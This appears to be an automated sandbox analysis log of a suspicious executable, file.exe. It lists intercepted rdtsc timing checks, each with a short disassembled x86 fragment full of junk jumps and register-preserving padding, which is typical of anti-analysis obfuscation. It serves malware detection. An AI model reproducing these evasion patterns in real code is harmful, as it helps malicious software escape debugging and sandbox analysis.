Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7500412 second address: 7500524 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx ebx, ax 0x00000006 pushfd 0x00000007 jmp 00007F6AA0FFB738h 0x0000000c sub esi, 005C8B48h 0x00000012 jmp 00007F6AA0FFB72Bh 0x00000017 popfd 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b mov dword ptr [esi], edi 0x0000001d pushad 0x0000001e pushfd 0x0000001f jmp 00007F6AA0FFB734h 0x00000024 xor eax, 6C9F4DA8h 0x0000002a jmp 00007F6AA0FFB72Bh 0x0000002f popfd 0x00000030 pushad 0x00000031 mov bx, si 0x00000034 pushfd 0x00000035 jmp 00007F6AA0FFB732h 0x0000003a sbb ecx, 3EB2C008h 0x00000040 jmp 00007F6AA0FFB72Bh 0x00000045 popfd 0x00000046 popad 0x00000047 popad 0x00000048 mov dword ptr [esi+04h], eax 0x0000004b jmp 00007F6AA0FFB736h 0x00000050 mov dword ptr [esi+08h], eax 0x00000053 jmp 00007F6AA0FFB730h 0x00000058 mov dword ptr [esi+0Ch], eax 0x0000005b jmp 00007F6AA0FFB730h 0x00000060 mov eax, dword ptr [ebx+4Ch] 0x00000063 pushad 0x00000064 jmp 00007F6AA0FFB72Eh 0x00000069 mov ecx, 18121CD1h 0x0000006e popad 0x0000006f mov dword ptr [esi+10h], eax 0x00000072 jmp 00007F6AA0FFB72Ch 0x00000077 mov eax, dword ptr [ebx+50h] 0x0000007a jmp 00007F6AA0FFB730h 0x0000007f mov dword ptr [esi+14h], eax 0x00000082 push eax 0x00000083 push edx 0x00000084 pushad 0x00000085 mov edi, 14447C70h 0x0000008a mov bx, EF9Ch 0x0000008e popad 0x0000008f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7500524 second address: 7500539 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6AA0FF7C01h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7500539 second address: 750053D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 750053D second address: 750057C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [ebx+54h] 0x0000000b jmp 00007F6AA0FF7BFDh 0x00000010 mov dword ptr [esi+18h], eax 0x00000013 pushad 0x00000014 movzx eax, bx 0x00000017 movsx edi, ax 0x0000001a popad 0x0000001b mov eax, dword ptr [ebx+58h] 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F6AA0FF7C07h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 750057C second address: 75005DF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6AA0FFB739h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esi+1Ch], eax 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F6AA0FFB733h 0x00000013 and eax, 3A9CD5EEh 0x00000019 jmp 00007F6AA0FFB739h 0x0000001e popfd 0x0000001f popad 0x00000020 mov eax, dword ptr [ebx+5Ch] 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 mov di, E34Eh 0x0000002a mov esi, ebx 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 75005DF second address: 75005E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 75005E5 second address: 75005E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 75005E9 second address: 750062C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esi+20h], eax 0x0000000b pushad 0x0000000c jmp 00007F6AA0FF7C04h 0x00000011 mov eax, 34217061h 0x00000016 popad 0x00000017 mov eax, dword ptr [ebx+60h] 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F6AA0FF7C06h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 750062C second address: 7500630 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7500630 second address: 7500636 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7500636 second address: 750063C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 750063C second address: 7500676 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6AA0FF7C08h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esi+24h], eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F6AA0FF7C07h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7500676 second address: 750069F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx ebx, cx 0x00000006 push eax 0x00000007 pop ebx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [ebx+64h] 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F6AA0FFB739h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 750069F second address: 75006D7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F6AA0FF7C07h 0x00000008 pop eax 0x00000009 mov ax, dx 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov dword ptr [esi+28h], eax 0x00000012 jmp 00007F6AA0FF7BFBh 0x00000017 mov eax, dword ptr [ebx+68h] 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 75006D7 second address: 75006F2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6AA0FFB737h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 75006F2 second address: 75006F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 75006F8 second address: 75006FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 75006FC second address: 7500795 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6AA0FF7BFBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esi+2Ch], eax 0x0000000e pushad 0x0000000f call 00007F6AA0FF7C04h 0x00000014 mov eax, 135DFFF1h 0x00000019 pop ecx 0x0000001a jmp 00007F6AA0FF7C07h 0x0000001f popad 0x00000020 mov ax, word ptr [ebx+6Ch] 0x00000024 jmp 00007F6AA0FF7C06h 0x00000029 mov word ptr [esi+30h], ax 0x0000002d jmp 00007F6AA0FF7C00h 0x00000032 mov ax, word ptr [ebx+00000088h] 0x00000039 jmp 00007F6AA0FF7C00h 0x0000003e mov word ptr [esi+32h], ax 0x00000042 push eax 0x00000043 push edx 0x00000044 pushad 0x00000045 push ebx 0x00000046 pop ecx 0x00000047 mov si, bx 0x0000004a popad 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7500795 second address: 75007B7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6AA0FFB732h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [ebx+0000008Ch] 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 mov ecx, ebx 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 75007B7 second address: 7500810 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6AA0FF7C05h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esi+34h], eax 0x0000000c jmp 00007F6AA0FF7BFEh 0x00000011 mov eax, dword ptr [ebx+18h] 0x00000014 jmp 00007F6AA0FF7C00h 0x00000019 mov dword ptr [esi+38h], eax 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F6AA0FF7C07h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7500810 second address: 750084C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6AA0FFB739h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [ebx+1Ch] 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F6AA0FFB738h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 750084C second address: 7500852 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7500852 second address: 7500858 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7500858 second address: 750085C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 750085C second address: 7500860 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7500860 second address: 75008DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esi+3Ch], eax 0x0000000b pushad 0x0000000c mov bh, ch 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007F6AA0FF7BFDh 0x00000015 sub esi, 7D078436h 0x0000001b jmp 00007F6AA0FF7C01h 0x00000020 popfd 0x00000021 jmp 00007F6AA0FF7C00h 0x00000026 popad 0x00000027 popad 0x00000028 mov eax, dword ptr [ebx+20h] 0x0000002b pushad 0x0000002c mov dx, cx 0x0000002f jmp 00007F6AA0FF7BFAh 0x00000034 popad 0x00000035 mov dword ptr [esi+40h], eax 0x00000038 pushad 0x00000039 mov cx, 515Dh 0x0000003d pushad 0x0000003e mov dh, cl 0x00000040 mov di, 7DB8h 0x00000044 popad 0x00000045 popad 0x00000046 lea eax, dword ptr [ebx+00000080h] 0x0000004c push eax 0x0000004d push edx 0x0000004e jmp 00007F6AA0FF7BFAh 0x00000053 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 75008DC second address: 75008E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 75008E2 second address: 75008E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 75008E6 second address: 750090A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6AA0FFB72Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push 00000001h 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F6AA0FFB72Dh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 750090A second address: 7500910 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7500910 second address: 7500914 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7500914 second address: 7500918 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7500918 second address: 750096A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esp 0x00000009 pushad 0x0000000a jmp 00007F6AA0FFB732h 0x0000000f mov si, CCC1h 0x00000013 popad 0x00000014 mov dword ptr [esp], eax 0x00000017 jmp 00007F6AA0FFB72Ch 0x0000001c lea eax, dword ptr [ebp-10h] 0x0000001f pushad 0x00000020 push eax 0x00000021 push edx 0x00000022 pushfd 0x00000023 jmp 00007F6AA0FFB72Ch 0x00000028 adc ah, 00000008h 0x0000002b jmp 00007F6AA0FFB72Bh 0x00000030 popfd 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 750096A second address: 75009F2 instructions: 0x00000000 rdtsc 0x00000002 mov edi, ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushfd 0x00000007 jmp 00007F6AA0FF7C04h 0x0000000c and eax, 6D1E2E68h 0x00000012 jmp 00007F6AA0FF7BFBh 0x00000017 popfd 0x00000018 popad 0x00000019 nop 0x0000001a pushad 0x0000001b pushfd 0x0000001c jmp 00007F6AA0FF7C04h 0x00000021 adc si, 00C8h 0x00000026 jmp 00007F6AA0FF7BFBh 0x0000002b popfd 0x0000002c pushfd 0x0000002d jmp 00007F6AA0FF7C08h 0x00000032 and si, 8328h 0x00000037 jmp 00007F6AA0FF7BFBh 0x0000003c popfd 0x0000003d popad 0x0000003e push eax 0x0000003f push eax 0x00000040 push edx 0x00000041 push eax 0x00000042 push edx 0x00000043 pushad 0x00000044 popad 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 75009F2 second address: 75009F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 75009F6 second address: 75009FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 75009FC second address: 7500A1D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6AA0FFB72Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F6AA0FFB72Dh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7500ABE second address: 7500ADB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6AA0FF7C09h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7500ADB second address: 7500AE5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, 73D14C62h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7500AE5 second address: 7500BA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esi+04h], eax 0x0000000a pushad 0x0000000b call 00007F6AA0FF7C05h 0x00000010 pushfd 0x00000011 jmp 00007F6AA0FF7C00h 0x00000016 add ch, 00000028h 0x00000019 jmp 00007F6AA0FF7BFBh 0x0000001e popfd 0x0000001f pop eax 0x00000020 call 00007F6AA0FF7C09h 0x00000025 pushfd 0x00000026 jmp 00007F6AA0FF7C00h 0x0000002b sub ecx, 0BFDA3B8h 0x00000031 jmp 00007F6AA0FF7BFBh 0x00000036 popfd 0x00000037 pop esi 0x00000038 popad 0x00000039 lea eax, dword ptr [ebx+78h] 0x0000003c pushad 0x0000003d pushfd 0x0000003e jmp 00007F6AA0FF7C05h 0x00000043 jmp 00007F6AA0FF7BFBh 0x00000048 popfd 0x00000049 movzx ecx, dx 0x0000004c popad 0x0000004d push 00000001h 0x0000004f push eax 0x00000050 push edx 0x00000051 push eax 0x00000052 push edx 0x00000053 jmp 00007F6AA0FF7BFDh 0x00000058 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7500BA1 second address: 7500BA7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7500BA7 second address: 7500BD1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6AA0FF7BFCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F6AA0FF7C07h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7500BD1 second address: 7500C89 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F6AA0FFB72Fh 0x00000009 jmp 00007F6AA0FFB733h 0x0000000e popfd 0x0000000f push esi 0x00000010 pop edx 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 push eax 0x00000015 pushad 0x00000016 mov eax, edx 0x00000018 pushfd 0x00000019 jmp 00007F6AA0FFB737h 0x0000001e and esi, 2E9477AEh 0x00000024 jmp 00007F6AA0FFB739h 0x00000029 popfd 0x0000002a popad 0x0000002b nop 0x0000002c pushad 0x0000002d pushfd 0x0000002e jmp 00007F6AA0FFB72Ch 0x00000033 jmp 00007F6AA0FFB735h 0x00000038 popfd 0x00000039 pushfd 0x0000003a jmp 00007F6AA0FFB730h 0x0000003f sbb ecx, 09595B88h 0x00000045 jmp 00007F6AA0FFB72Bh 0x0000004a popfd 0x0000004b popad 0x0000004c lea eax, dword ptr [ebp-08h] 0x0000004f pushad 0x00000050 push eax 0x00000051 push edx 0x00000052 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7500C89 second address: 7500CDE instructions: 0x00000000 rdtsc 0x00000002 mov bh, 86h 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushfd 0x00000008 jmp 00007F6AA0FF7C09h 0x0000000d sub ax, 6956h 0x00000012 jmp 00007F6AA0FF7C01h 0x00000017 popfd 0x00000018 pop eax 0x00000019 popad 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007F6AA0FF7C06h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7500CDE second address: 7500CE4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7500D17 second address: 7500DA9 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F6AA0FF7C08h 0x00000008 sbb eax, 1F3FA768h 0x0000000e jmp 00007F6AA0FF7BFBh 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 popad 0x00000017 mov edi, eax 0x00000019 jmp 00007F6AA0FF7C02h 0x0000001e test edi, edi 0x00000020 jmp 00007F6AA0FF7C00h 0x00000025 js 00007F6B0F426542h 0x0000002b push eax 0x0000002c push edx 0x0000002d pushad 0x0000002e mov cx, dx 0x00000031 pushfd 0x00000032 jmp 00007F6AA0FF7C09h 0x00000037 and al, FFFFFF96h 0x0000003a jmp 00007F6AA0FF7C01h 0x0000003f popfd 0x00000040 popad 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7500DA9 second address: 7500DF8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, 16D2h 0x00000007 pushfd 0x00000008 jmp 00007F6AA0FFB733h 0x0000000d add ax, FACEh 0x00000012 jmp 00007F6AA0FFB739h 0x00000017 popfd 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b mov eax, dword ptr [ebp-04h] 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F6AA0FFB72Dh 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7500DF8 second address: 7500DFE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7500DFE second address: 7500E02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7500E02 second address: 7500E31 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esi+08h], eax 0x0000000b jmp 00007F6AA0FF7BFFh 0x00000010 lea eax, dword ptr [ebx+70h] 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 call 00007F6AA0FF7BFBh 0x0000001b pop eax 0x0000001c pushad 0x0000001d popad 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7500E31 second address: 7500E40 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6AA0FFB72Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7500E40 second address: 7500EC0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push 00000001h 0x0000000a jmp 00007F6AA0FF7C05h 0x0000000f nop 0x00000010 jmp 00007F6AA0FF7BFEh 0x00000015 push eax 0x00000016 pushad 0x00000017 mov dx, D514h 0x0000001b mov eax, edx 0x0000001d popad 0x0000001e nop 0x0000001f jmp 00007F6AA0FF7BFFh 0x00000024 lea eax, dword ptr [ebp-18h] 0x00000027 jmp 00007F6AA0FF7C06h 0x0000002c nop 0x0000002d jmp 00007F6AA0FF7C00h 0x00000032 push eax 0x00000033 pushad 0x00000034 mov ecx, ebx 0x00000036 mov si, dx 0x00000039 popad 0x0000003a nop 0x0000003b push eax 0x0000003c push edx 0x0000003d push eax 0x0000003e push edx 0x0000003f push eax 0x00000040 push edx 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7500EC0 second address: 7500EC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7500EC4 second address: 7500EC8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7500EC8 second address: 7500ECE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7500EF1 second address: 7500EF5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7500EF5 second address: 7500EFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7500EFB second address: 7500F01 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7500F01 second address: 7500F05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7500F05 second address: 7500F09 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7500F09 second address: 7500F19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov edi, eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7500F19 second address: 7500F1F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7500F1F second address: 7500F2E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6AA0FFB72Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7500F2E second address: 7500F32 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7500F32 second address: 7500F5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test edi, edi 0x0000000a jmp 00007F6AA0FFB735h 0x0000000f js 00007F6B0F429E84h 0x00000015 pushad 0x00000016 mov edi, ecx 0x00000018 push eax 0x00000019 push edx 0x0000001a push esi 0x0000001b pop edi 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7500F5E second address: 7500F6E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [ebp-14h] 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7500F6E second address: 7500F72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7500F72 second address: 7500F8B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6AA0FF7C05h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7500F8B second address: 7500FA8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6AA0FFB731h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ecx, esi 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7500FA8 second address: 7500FD3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6AA0FF7C05h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esi+0Ch], eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F6AA0FF7BFDh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7500FD3 second address: 7500FE3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6AA0FFB72Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7500FE3 second address: 7500FE7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
